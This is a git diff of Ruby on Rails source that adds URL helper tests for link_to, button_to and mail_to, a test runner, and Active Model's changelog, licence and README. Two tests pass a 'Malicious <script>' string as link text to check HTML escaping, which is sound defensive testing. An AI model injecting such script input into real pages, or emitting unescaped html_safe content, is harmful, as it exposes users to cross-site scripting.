+ %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
+ button_to("Hello", "http://www.example.com", remote: true, data: { disable_with: "Greeting..." })
+ )
+ end
+
+ def test_button_to_with_remote_and_javascript_deprecated_disable_with
+ assert_deprecated ":disable_with option is deprecated and will be removed from Rails 4.1. Use 'data: { disable_with: \'Text\' }' instead" do
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
+ button_to("Hello", "http://www.example.com", remote: true, disable_with: "Greeting...")
+ )
+ end
+ end
+
+ def test_button_to_with_remote_false
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
+ button_to("Hello", "http://www.example.com", remote: false)
+ )
+ end
+
+ def test_button_to_enabled_disabled
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
+ button_to("Hello", "http://www.example.com", disabled: false)
+ )
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><div><input disabled="disabled" type="submit" value="Hello" /></div></form>},
+ button_to("Hello", "http://www.example.com", disabled: true)
+ )
+ end
+
+ def test_button_to_with_method_delete
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="hidden" name="_method" value="delete" /><input type="submit" value="Hello" /></div></form>},
+ button_to("Hello", "http://www.example.com", method: :delete)
+ )
+ end
+
+ def test_button_to_with_method_get
+ assert_dom_equal(
+ %{<form method="get" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
+ button_to("Hello", "http://www.example.com", method: :get)
+ )
+ end
+
+ def test_button_to_with_block
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><div><button type="submit"><span>Hello</span></button></div></form>},
+ button_to("http://www.example.com") { content_tag(:span, 'Hello') }
+ )
+ end
+
+ def test_link_tag_with_straight_url
+ assert_dom_equal %{<a href="http://www.example.com">Hello</a>}, link_to("Hello", "http://www.example.com")
+ end
+
+ def test_link_tag_without_host_option
+ assert_dom_equal(%{<a href="/">Test Link</a>}, link_to('Test Link', url_hash))
+ end
+
+ def test_link_tag_with_host_option
+ hash = hash_for(host: "www.example.com")
+ expected = %{<a href="http://www.example.com/">Test Link</a>}
+ assert_dom_equal(expected, link_to('Test Link', hash))
+ end
+
+ def test_link_tag_with_query
+ expected = %{<a href="http://www.example.com?q1=v1&q2=v2">Hello</a>}
+ assert_dom_equal expected, link_to("Hello", "http://www.example.com?q1=v1&q2=v2")
+ end
+
+ def test_link_tag_with_query_and_no_name
+ expected = %{<a href="http://www.example.com?q1=v1&q2=v2">http://www.example.com?q1=v1&q2=v2</a>}
+ assert_dom_equal expected, link_to(nil, "http://www.example.com?q1=v1&q2=v2")
+ end
+
+ def test_link_tag_with_back
+ env = {"HTTP_REFERER" => "http://www.example.com/referer"}
+ @controller = Struct.new(:request).new(Struct.new(:env).new(env))
+ expected = %{<a href="#{env["HTTP_REFERER"]}">go back</a>}
+ assert_dom_equal expected, link_to('go back', :back)
+ end
+
+ def test_link_tag_with_back_and_no_referer
+ @controller = Struct.new(:request).new(Struct.new(:env).new({}))
+ link = link_to('go back', :back)
+ assert_dom_equal %{<a href="javascript:history.back()">go back</a>}, link
+ end
+
+ def test_link_tag_with_img
+ link = link_to("<img src='/favicon.jpg' />".html_safe, "/")
+ expected = %{<a href="/"><img src='/favicon.jpg' /></a>}
+ assert_dom_equal expected, link
+ end
+
+ def test_link_with_nil_html_options
+ link = link_to("Hello", url_hash, nil)
+ assert_dom_equal %{<a href="/">Hello</a>}, link
+ end
+
+ def test_link_tag_with_custom_onclick
+ link = link_to("Hello", "http://www.example.com", onclick: "alert('yay!')")
+ expected = %{<a href="http://www.example.com" onclick="alert('yay!')">Hello</a>}
+ assert_dom_equal expected, link
+ end
+
+ def test_link_tag_with_javascript_confirm
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-confirm="Are you sure?">Hello</a>},
+ link_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
+ )
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-confirm="You cant possibly be sure, can you?">Hello</a>},
+ link_to("Hello", "http://www.example.com", data: { confirm: "You cant possibly be sure, can you?" })
+ )
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-confirm="You cant possibly be sure,\n can you?">Hello</a>},
+ link_to("Hello", "http://www.example.com", data: { confirm: "You cant possibly be sure,\n can you?" })
+ )
+ end
+
+ def test_link_tag_with_deprecated_confirm
+ assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-confirm="Are you sure?">Hello</a>},
+ link_to("Hello", "http://www.example.com", confirm: "Are you sure?")
+ )
+ end
+ assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-confirm="You cant possibly be sure, can you?">Hello</a>},
+ link_to("Hello", "http://www.example.com", confirm: "You cant possibly be sure, can you?")
+ )
+ end
+ assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-confirm="You cant possibly be sure,\n can you?">Hello</a>},
+ link_to("Hello", "http://www.example.com", confirm: "You cant possibly be sure,\n can you?")
+ )
+ end
+ end
+
+ def test_link_to_with_remote
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-remote="true">Hello</a>},
+ link_to("Hello", "http://www.example.com", remote: true)
+ )
+ end
+
+ def test_link_to_with_remote_false
+ assert_dom_equal(
+ %{<a href="http://www.example.com">Hello</a>},
+ link_to("Hello", "http://www.example.com", remote: false)
+ )
+ end
+
+ def test_link_to_with_symbolic_remote_in_non_html_options
+ assert_dom_equal(
+ %{<a href="/" data-remote="true">Hello</a>},
+ link_to("Hello", hash_for(remote: true), {})
+ )
+ end
+
+ def test_link_to_with_string_remote_in_non_html_options
+ assert_dom_equal(
+ %{<a href="/" data-remote="true">Hello</a>},
+ link_to("Hello", hash_for('remote' => true), {})
+ )
+ end
+
+ def test_link_tag_using_post_javascript
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-method="post" rel="nofollow">Hello</a>},
+ link_to("Hello", "http://www.example.com", method: :post)
+ )
+ end
+
+ def test_link_tag_using_delete_javascript
+ assert_dom_equal(
+ %{<a href="http://www.example.com" rel="nofollow" data-method="delete">Destroy</a>},
+ link_to("Destroy", "http://www.example.com", method: :delete)
+ )
+ end
+
+ def test_link_tag_using_delete_javascript_and_href
+ assert_dom_equal(
+ %{<a href="\#" rel="nofollow" data-method="delete">Destroy</a>},
+ link_to("Destroy", "http://www.example.com", method: :delete, href: '#')
+ )
+ end
+
+ def test_link_tag_using_post_javascript_and_rel
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-method="post" rel="example nofollow">Hello</a>},
+ link_to("Hello", "http://www.example.com", method: :post, rel: 'example')
+ )
+ end
+
+ def test_link_tag_using_post_javascript_and_confirm
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-method="post" rel="nofollow" data-confirm="Are you serious?">Hello</a>},
+ link_to("Hello", "http://www.example.com", method: :post, data: { confirm: "Are you serious?" })
+ )
+ end
+
+ def test_link_tag_using_post_javascript_and_with_deprecated_confirm
+ assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
+ assert_dom_equal(
+ %{<a href="http://www.example.com" data-method="post" rel="nofollow" data-confirm="Are you serious?">Hello</a>},
+ link_to("Hello", "http://www.example.com", method: :post, confirm: "Are you serious?")
+ )
+ end
+ end
+
+ def test_link_tag_using_delete_javascript_and_href_and_confirm
+ assert_dom_equal(
+ %{<a href="\#" rel="nofollow" data-confirm="Are you serious?" data-method="delete">Destroy</a>},
+ link_to("Destroy", "http://www.example.com", method: :delete, href: '#', data: { confirm: "Are you serious?" })
+ )
+ end
+
+ def test_link_tag_using_delete_javascript_and_href_and_with_deprecated_confirm
+ assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
+ assert_dom_equal(
+ %{<a href="\#" rel="nofollow" data-confirm="Are you serious?" data-method="delete">Destroy</a>},
+ link_to("Destroy", "http://www.example.com", method: :delete, href: '#', confirm: "Are you serious?")
+ )
+ end
+ end
+
+ def test_link_tag_with_block
+ assert_dom_equal %{<a href="/"><span>Example site</span></a>},
+ link_to('/') { content_tag(:span, 'Example site') }
+ end
+
+ def test_link_tag_with_block_and_html_options
+ assert_dom_equal %{<a class="special" href="/"><span>Example site</span></a>},
+ link_to('/', class: "special") { content_tag(:span, 'Example site') }
+ end
+
+ def test_link_tag_using_block_in_erb
+ out = render_erb %{<%= link_to('/') do %>Example site<% end %>}
+ assert_equal '<a href="/">Example site</a>', out
+ end
+
+ def test_link_tag_with_html_safe_string
+ assert_dom_equal(
+ %{<a href="/article/Gerd_M%C3%BCller">Gerd Müller</a>},
+ link_to("Gerd Müller", article_path("Gerd_Müller".html_safe))
+ )
+ end
+
+ def test_link_tag_escapes_content
+ assert_dom_equal %{<a href="/">Malicious <script>content</script></a>},
+ link_to("Malicious <script>content</script>", "/")
+ end
+
+ def test_link_tag_does_not_escape_html_safe_content
+ assert_dom_equal %{<a href="/">Malicious <script>content</script></a>},
+ link_to("Malicious <script>content</script>".html_safe, "/")
+ end
+
+ def test_link_to_unless
+ assert_equal "Showing", link_to_unless(true, "Showing", url_hash)
+
+ assert_dom_equal %{<a href="/">Listing</a>},
+ link_to_unless(false, "Listing", url_hash)
+
+ assert_equal "Showing", link_to_unless(true, "Showing", url_hash)
+
+ assert_equal "<strong>Showing</strong>",
+ link_to_unless(true, "Showing", url_hash) { |name|
+ "<strong>#{name}</strong>".html_safe
+ }
+
+ assert_equal "test",
+ link_to_unless(true, "Showing", url_hash) {
+ "test"
+ }
+ end
+
+ def test_link_to_if
+ assert_equal "Showing", link_to_if(false, "Showing", url_hash)
+ assert_dom_equal %{<a href="/">Listing</a>}, link_to_if(true, "Listing", url_hash)
+ assert_equal "Showing", link_to_if(false, "Showing", url_hash)
+ end
+
+ def request_for_url(url, opts = {})
+ env = Rack::MockRequest.env_for("http://www.example.com#{url}", opts)
+ ActionDispatch::Request.new(env)
+ end
+
+ def test_current_page_with_http_head_method
+ @request = request_for_url("/", :method => :head)
+ assert current_page?(url_hash)
+ assert current_page?("http://www.example.com/")
+ end
+
+ def test_current_page_with_simple_url
+ @request = request_for_url("/")
+ assert current_page?(url_hash)
+ assert current_page?("http://www.example.com/")
+ end
+
+ def test_current_page_ignoring_params
+ @request = request_for_url("/?order=desc&page=1")
+
+ assert current_page?(url_hash)
+ assert current_page?("http://www.example.com/")
+ end
+
+ def test_current_page_with_params_that_match
+ @request = request_for_url("/?order=desc&page=1")
+
+ assert current_page?(hash_for(order: "desc", page: "1"))
+ assert current_page?("http://www.example.com/?order=desc&page=1")
+ end
+
+ def test_current_page_with_not_get_verb
+ @request = request_for_url("/events", method: :post)
+
+ assert !current_page?('/events')
+ end
+
+ def test_link_unless_current
+ @request = request_for_url("/")
+
+ assert_equal "Showing",
+ link_to_unless_current("Showing", url_hash)
+ assert_equal "Showing",
+ link_to_unless_current("Showing", "http://www.example.com/")
+
+ @request = request_for_url("/?order=desc")
+
+ assert_equal "Showing",
+ link_to_unless_current("Showing", url_hash)
+ assert_equal "Showing",
+ link_to_unless_current("Showing", "http://www.example.com/")
+
+ @request = request_for_url("/?order=desc&page=1")
+
+ assert_equal "Showing",
+ link_to_unless_current("Showing", hash_for(order: 'desc', page: '1'))
+ assert_equal "Showing",
+ link_to_unless_current("Showing", "http://www.example.com/?order=desc&page=1")
+
+ @request = request_for_url("/?order=desc")
+
+ assert_equal %{<a href="/?order=asc">Showing</a>},
+ link_to_unless_current("Showing", hash_for(order: :asc))
+ assert_equal %{<a href="http://www.example.com/?order=asc">Showing</a>},
+ link_to_unless_current("Showing", "http://www.example.com/?order=asc")
+
+ @request = request_for_url("/?order=desc")
+ assert_equal %{<a href="/?order=desc&page=2\">Showing</a>},
+ link_to_unless_current("Showing", hash_for(order: "desc", page: 2))
+ assert_equal %{<a href="http://www.example.com/?order=desc&page=2">Showing</a>},
+ link_to_unless_current("Showing", "http://www.example.com/?order=desc&page=2")
+
+ @request = request_for_url("/show")
+
+ assert_equal %{<a href="/">Listing</a>},
+ link_to_unless_current("Listing", url_hash)
+ assert_equal %{<a href="http://www.example.com/">Listing</a>},
+ link_to_unless_current("Listing", "http://www.example.com/")
+ end
+
+ def test_mail_to
+ assert_dom_equal %{<a href="mailto:david at loudthinking.com">david at loudthinking.com</a>}, mail_to("david at loudthinking.com")
+ assert_dom_equal %{<a href="mailto:david at loudthinking.com">David Heinemeier Hansson</a>}, mail_to("david at loudthinking.com", "David Heinemeier Hansson")
+ assert_dom_equal(
+ %{<a class="admin" href="mailto:david at loudthinking.com">David Heinemeier Hansson</a>},
+ mail_to("david at loudthinking.com", "David Heinemeier Hansson", "class" => "admin")
+ )
+ assert_equal mail_to("david at loudthinking.com", "David Heinemeier Hansson", "class" => "admin"),
+ mail_to("david at loudthinking.com", "David Heinemeier Hansson", class: "admin")
+ end
+
+ def test_mail_with_options
+ assert_dom_equal(
+ %{<a href="mailto:me at example.com?cc=ccaddress%40example.com&bcc=bccaddress%40example.com&body=This%20is%20the%20body%20of%20the%20message.&subject=This%20is%20an%20example%20email">My email</a>},
+ mail_to("me at example.com", "My email", cc: "ccaddress at example.com", bcc: "bccaddress at example.com", subject: "This is an example email", body: "This is the body of the message.")
+ )
+ end
+
+ def test_mail_to_with_img
+ assert_dom_equal %{<a href="mailto:feedback at example.com"><img src="/feedback.png" /></a>},
+ mail_to('feedback at example.com', '<img src="/feedback.png" />'.html_safe)
+ end
+
+ def test_mail_to_returns_html_safe_string
+ assert mail_to("david at loudthinking.com").html_safe?
+ end
+
+ def test_mail_to_with_block
+ assert_dom_equal %{<a href="mailto:me at example.com"><span>Email me</span></a>},
+ mail_to('me at example.com') { content_tag(:span, 'Email me') }
+ end
+
+ def test_mail_to_with_block_and_options
+ assert_dom_equal %{<a class="special" href="mailto:me at example.com?cc=ccaddress%40example.com"><span>Email me</span></a>},
+ mail_to('me at example.com', cc: "ccaddress at example.com", class: "special") { content_tag(:span, 'Email me') }
+ end
+
+ def test_mail_to_does_not_modify_html_options_hash
+ options = { class: 'special' }
+ mail_to 'me at example.com', 'ME!', options
+ assert_equal({ class: 'special' }, options)
+ end
+
+ def protect_against_forgery?
+ self.request_forgery
+ end
+
+ def form_authenticity_token
+ "secret"
+ end
+
+ def request_forgery_protection_token
+ "form_token"
+ end
+
+ private
+ def sort_query_string_params(uri)
+ path, qs = uri.split('?')
+ qs = qs.split('&').sort.join('&') if qs
+ qs ? "#{path}?#{qs}" : path
+ end
+end
+
+class UrlHelperControllerTest < ActionController::TestCase
+ class UrlHelperController < ActionController::Base
+ test_routes do
+ get 'url_helper_controller_test/url_helper/show/:id',
+ to: 'url_helper_controller_test/url_helper#show',
+ as: :show
+
+ get 'url_helper_controller_test/url_helper/profile/:name',
+ to: 'url_helper_controller_test/url_helper#show',
+ as: :profile
+
+ get 'url_helper_controller_test/url_helper/show_named_route',
+ to: 'url_helper_controller_test/url_helper#show_named_route',
+ as: :show_named_route
+
+ get "/:controller(/:action(/:id))"
+
+ get 'url_helper_controller_test/url_helper/normalize_recall_params',
+ to: UrlHelperController.action(:normalize_recall),
+ as: :normalize_recall_params
+
+ get '/url_helper_controller_test/url_helper/override_url_helper/default',
+ to: 'url_helper_controller_test/url_helper#override_url_helper',
+ as: :override_url_helper
+ end
+
+ def show
+ if params[:name]
+ render inline: 'ok'
+ else
+ redirect_to profile_path(params[:id])
+ end
+ end
+
+ def show_url_for
+ render inline: "<%= url_for controller: 'url_helper_controller_test/url_helper', action: 'show_url_for' %>"
+ end
+
+ def show_overridden_url_for
+ render inline: "<%= url_for params.merge(controller: 'url_helper_controller_test/url_helper', action: 'show_url_for') %>"
+ end
+
+ def show_named_route
+ render inline: "<%= show_named_route_#{params[:kind]} %>"
+ end
+
+ def nil_url_for
+ render inline: '<%= url_for(nil) %>'
+ end
+
+ def normalize_recall_params
+ render inline: '<%= normalize_recall_params_path %>'
+ end
+
+ def recall_params_not_changed
+ render inline: '<%= url_for(action: :show_url_for) %>'
+ end
+
+ def override_url_helper
+ render inline: '<%= override_url_helper_path %>'
+ end
+
+ def override_url_helper_path
+ '/url_helper_controller_test/url_helper/override_url_helper/override'
+ end
+ helper_method :override_url_helper_path
+ end
+
+ tests UrlHelperController
+
+ def test_url_for_shows_only_path
+ get :show_url_for
+ assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body
+ end
+
+ def test_overridden_url_for_shows_only_path
+ get :show_overridden_url_for
+ assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body
+ end
+
+ def test_named_route_url_shows_host_and_path
+ get :show_named_route, kind: 'url'
+ assert_equal 'http://test.host/url_helper_controller_test/url_helper/show_named_route',
+ @response.body
+ end
+
+ def test_named_route_path_shows_only_path
+ get :show_named_route, kind: 'path'
+ assert_equal '/url_helper_controller_test/url_helper/show_named_route', @response.body
+ end
+
+ def test_url_for_nil_returns_current_path
+ get :nil_url_for
+ assert_equal '/url_helper_controller_test/url_helper/nil_url_for', @response.body
+ end
+
+ def test_named_route_should_show_host_and_path_using_controller_default_url_options
+ class << @controller
+ def default_url_options
+ { host: 'testtwo.host' }
+ end
+ end
+
+ get :show_named_route, kind: 'url'
+ assert_equal 'http://testtwo.host/url_helper_controller_test/url_helper/show_named_route', @response.body
+ end
+
+ def test_recall_params_should_be_normalized
+ get :normalize_recall_params
+ assert_equal '/url_helper_controller_test/url_helper/normalize_recall_params', @response.body
+ end
+
+ def test_recall_params_should_not_be_changed
+ get :recall_params_not_changed
+ assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body
+ end
+
+ def test_recall_params_should_normalize_id
+ get :show, id: '123'
+ assert_equal 302, @response.status
+ assert_equal 'http://test.host/url_helper_controller_test/url_helper/profile/123', @response.location
+
+ get :show, name: '123'
+ assert_equal 'ok', @response.body
+ end
+
+ def test_url_helper_can_be_overridden
+ get :override_url_helper
+ assert_equal '/url_helper_controller_test/url_helper/override_url_helper/override', @response.body
+ end
+end
+
+class TasksController < ActionController::Base
+ test_routes do
+ resources :tasks
+ end
+
+ def index
+ render_default
+ end
+
+ def show
+ render_default
+ end
+
+ protected
+ def render_default
+ render inline: "<%= link_to_unless_current('tasks', tasks_path) %>\n" +
+ "<%= link_to_unless_current('tasks', tasks_url) %>"
+ end
+end
+
+class LinkToUnlessCurrentWithControllerTest < ActionController::TestCase
+ tests TasksController
+
+ def test_link_to_unless_current_to_current
+ get :index
+ assert_equal "tasks\ntasks", @response.body
+ end
+
+ def test_link_to_unless_current_shows_link
+ get :show, id: 1
+ assert_equal %{<a href="/tasks">tasks</a>\n} +
+ %{<a href="#{@request.protocol}#{@request.host_with_port}/tasks">tasks</a>},
+ @response.body
+ end
+end
+
+class Session
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+ attr_accessor :id, :workshop_id
+
+ def initialize(id)
+ @id = id
+ end
+
+ def persisted?
+ id.present?
+ end
+
+ def to_s
+ id.to_s
+ end
+end
+
+class WorkshopsController < ActionController::Base
+ test_routes do
+ resources :workshops do
+ resources :sessions
+ end
+ end
+
+ def index
+ @workshop = Workshop.new(nil)
+ render inline: "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
+ end
+
+ def show
+ @workshop = Workshop.new(params[:id])
+ render inline: "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
+ end
+end
+
+class SessionsController < ActionController::Base
+ test_routes do
+ resources :workshops do
+ resources :sessions
+ end
+ end
+
+ def index
+ @workshop = Workshop.new(params[:workshop_id])
+ @session = Session.new(nil)
+ render inline: "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
+ end
+
+ def show
+ @workshop = Workshop.new(params[:workshop_id])
+ @session = Session.new(params[:id])
+ render inline: "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
+ end
+end
+
+class PolymorphicControllerTest < ActionController::TestCase
+ def test_new_resource
+ @controller = WorkshopsController.new
+
+ get :index
+ assert_equal %{/workshops\n<a href="/workshops">Workshop</a>}, @response.body
+ end
+
+ def test_existing_resource
+ @controller = WorkshopsController.new
+
+ get :show, id: 1
+ assert_equal %{/workshops/1\n<a href="/workshops/1">Workshop</a>}, @response.body
+ end
+
+ def test_new_nested_resource
+ @controller = SessionsController.new
+
+ get :index, workshop_id: 1
+ assert_equal %{/workshops/1/sessions\n<a href="/workshops/1/sessions">Session</a>}, @response.body
+ end
+
+ def test_existing_nested_resource
+ @controller = SessionsController.new
+
+ get :show, workshop_id: 1, id: 1
+ assert_equal %{/workshops/1/sessions/1\n<a href="/workshops/1/sessions/1">Session</a>}, @response.body
+ end
+end
diff --git a/actionpack/test/tmp/.gitignore b/actionpack/test/tmp/.gitignore
new file mode 100644
index 0000000..e69de29
diff --git a/actionpack/test/ts_isolated.rb b/actionpack/test/ts_isolated.rb
new file mode 100644
index 0000000..55620ab
--- /dev/null
+++ b/actionpack/test/ts_isolated.rb
@@ -0,0 +1,15 @@
+require 'active_support/testing/autorun'
+require 'rbconfig'
+require 'abstract_unit'
+
+class TestIsolated < ActiveSupport::TestCase
+ ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
+
+ Dir["#{File.dirname(__FILE__)}/{abstract,controller,dispatch,template}/**/*_test.rb"].each do |file|
+ define_method("test #{file}") do
+ command = "#{ruby} -Ilib:test #{file}"
+ result = silence_stderr { `#{command}` }
+ assert $?.to_i.zero?, "#{command}\n#{result}"
+ end
+ end
+end
diff --git a/activemodel/CHANGELOG.md b/activemodel/CHANGELOG.md
new file mode 100644
index 0000000..a1f3d08
--- /dev/null
+++ b/activemodel/CHANGELOG.md
@@ -0,0 +1,213 @@
+## Rails 4.0.0 (unreleased) ##
+
+* Add `ActiveModel::Errors#full_messages_for`, to return all the error messages
+ for a given attribute.
+
+ Example:
+
+ class Person
+ include ActiveModel::Validations
+
+ attr_reader :name, :email
+ validates_presence_of :name, :email
+ end
+
+ person = Person.new
+ person.valid? # => false
+ person.errors.full_messages_for(:name) # => ["Name can't be blank"]
+
+ *Volodymyr Shatsky*
+
+* Added a method so that validations can be easily cleared on a model.
+ For example:
+
+ class Person
+ include ActiveModel::Validations
+
+ validates_uniqueness_of :first_name
+ validate :cannot_be_robot
+
+ def cannot_be_robot
+ errors.add(:base, 'A person cannot be a robot') if person_is_robot
+ end
+ end
+
+ Now, if someone runs `Person.clear_validators!`, then the following occurs:
+
+ Person.validators # => []
+ Person._validate_callbacks.empty? # => true
+
+ *John Wang*
+
+* `has_secure_password` does not fail the confirmation validation
+ when assigning empty String to `password` and `password_confirmation`.
+ Fixes #9535.
+
+ Example:
+
+ # Given User has_secure_password.
+ @user.password = ""
+ @user.password_confirmation = ""
+ @user.valid?(:update) # used to be false
+
+ *Yves Senn*
+
+* `validates_confirmation_of` does not override writer methods for
+ the confirmation attribute if no reader is defined.
+
+ Example:
+
+ class Blog
+ def title=(new_title)
+ @title = new_title.downcase
+ end
+
+ # previously this would override the setter above.
+ validates_confirmation_of :title
+ end
+
+ *Yves Senn*
+
+## Rails 4.0.0.beta1 (February 25, 2013) ##
+
+* Add `ActiveModel::Validations::AbsenceValidator`, a validator to check the
+ absence of attributes.
+
+ class Person
+ include ActiveModel::Validations
+
+ attr_accessor :first_name
+ validates_absence_of :first_name
+ end
+
+ person = Person.new
+ person.first_name = "John"
+ person.valid?
+ # => false
+ person.errors.messages
+ # => {:first_name=>["must be blank"]}
+
+ *Roberto Vasquez Angel*
+
+* `[attribute]_changed?` now returns `false` after a call to `reset_[attribute]!`.
+
+ *Renato Mascarenhas*
+
+* Observers was extracted from Active Model as `rails-observers` gem.
+
+ *Rafael Mendonça França*
+
+* Specify type of singular association during serialization.
+
+ *Steve Klabnik*
+
+* Fixed length validator to correctly handle `nil`. Fixes #7180.
+
+ *Michal Zima*
+
+* Removed dispensable `require` statements. Make sure to require `active_model` before requiring
+ individual parts of the framework.
+
+ *Yves Senn*
+
+* Use BCrypt's `MIN_COST` in the test environment for speedier tests when using `has_secure_password`.
+
+ *Brian Cardarella + Jeremy Kemper + Trevor Turk*
+
+* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to
+ protect attributes from mass assignment when non-permitted attributes are passed.
+
+ *DHH + Guillermo Iguaran*
+
+* `ActiveModel::MassAssignmentSecurity` has been extracted from Active Model and the
+ `protected_attributes` gem should be added to Gemfile in order to use
+ `attr_accessible` and `attr_protected` macros in your models.
+
+ *Guillermo Iguaran*
+
+* Due to a change in builder, `nil` and empty strings now generate
+ closed tags, so instead of this:
+
+ <pseudonyms nil=\"true\"></pseudonyms>
+
+ it generates this:
+
+ <pseudonyms nil=\"true\"/>
+
+ *Carlos Antonio da Silva*
+
+* Inclusion/exclusion validators accept a method name passed as a symbol to the
+ `:in` option.
+
+ This allows to use dynamic inclusion/exclusion values using methods, besides
+ the current lambda/proc support.
+
+ *Gabriel Sobrinho*
+
+* `ActiveModel::Validation#validates` ability to pass custom exception to the
+ `:strict` option.
+
+ *Bogdan Gusiev*
+
+* Changed `ActiveModel::Serializers::Xml::Serializer#add_associations` to by default
+ propagate `:skip_types, :dasherize, :camelize` keys to included associations.
+ It can be overridden on each association by explicitly specifying the option on one
+ or more associations
+
+ *Anthony Alberto*
+
+* Changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to false.
+ Now, AM Serializers and AR objects have the same default behaviour. Fixes #6578.
+
+ class User < ActiveRecord::Base; end
+
+ class Person
+ include ActiveModel::Model
+ include ActiveModel::AttributeMethods
+ include ActiveModel::Serializers::JSON
+
+ attr_accessor :name, :age
+
+ def attributes
+ instance_values
+ end
+ end
+
+ user.as_json
+ => {"id"=>1, "name"=>"Konata Izumi", "age"=>16, "awesome"=>true}
+ # root is not included
+
+ person.as_json
+ => {"name"=>"Francesco", "age"=>22}
+ # root is not included
+
+ *Francesco Rodriguez*
+
+* Passing false hash values to `validates` will no longer enable the corresponding validators.
+
+ *Steve Purcell*
+
+* `ConfirmationValidator` error messages will attach to `:#{attribute}_confirmation` instead of `attribute`.
+
+ *Brian Cardarella*
+
+* Added `ActiveModel::Model`, a mixin to make Ruby objects work with AP out of box.
+
+ *Guillermo Iguaran*
+
+* `AM::Errors#to_json`: support `:full_messages` parameter.
+
+ *Bogdan Gusiev*
+
+* Trim down Active Model API by removing `valid?` and `errors.full_messages`.
+
+ *José Valim*
+
+* When `^` or `$` are used in the regular expression provided to `validates_format_of`
+ and the `:multiline` option is not set to true, an exception will be raised. This is
+ to prevent security vulnerabilities when using `validates_format_of`. The problem is
+ described in detail in the Rails security guide.
+
+ *Jan Berdajs + Egor Homakov*
+
+Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/activemodel/CHANGELOG.md) for previous changes.
diff --git a/activemodel/MIT-LICENSE b/activemodel/MIT-LICENSE
new file mode 100644
index 0000000..5c668d9
--- /dev/null
+++ b/activemodel/MIT-LICENSE
@@ -0,0 +1,21 @@
+Copyright (c) 2004-2013 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
diff --git a/activemodel/README.rdoc b/activemodel/README.rdoc
new file mode 100644
index 0000000..a399fe9
--- /dev/null
+++ b/activemodel/README.rdoc
@@ -0,0 +1,248 @@
+= Active Model -- model interfaces for Rails
+
+Active Model provides a known set of interfaces for usage in model classes.
+They allow for Action Pack helpers to interact with non-Active Record models,
+for example. Active Model also helps with building custom ORMs for use outside of
+the Rails framework.
+
+Prior to Rails 3.0, if a plugin or gem developer wanted to have an object
+interact with Action Pack helpers, it was required to either copy chunks of
+code from Rails, or monkey patch entire helpers to make them handle objects
+that did not exactly conform to the Active Record interface. This would result
+in code duplication and fragile applications that broke on upgrades. Active
+Model solves this by defining an explicit API. You can read more about the
+API in <tt>ActiveModel::Lint::Tests</tt>.
+
+Active Model provides a default module that implements the basic API required
+to integrate with Action Pack out of the box: <tt>ActiveModel::Model</tt>.
+
+ class Person
+ include ActiveModel::Model
+
+ attr_accessor :name, :age
+ validates_presence_of :name
+ end
+
+ person = Person.new(name: 'bob', age: '18')
+ person.name # => 'bob'
+ person.age # => '18'
+ person.valid? # => true
+
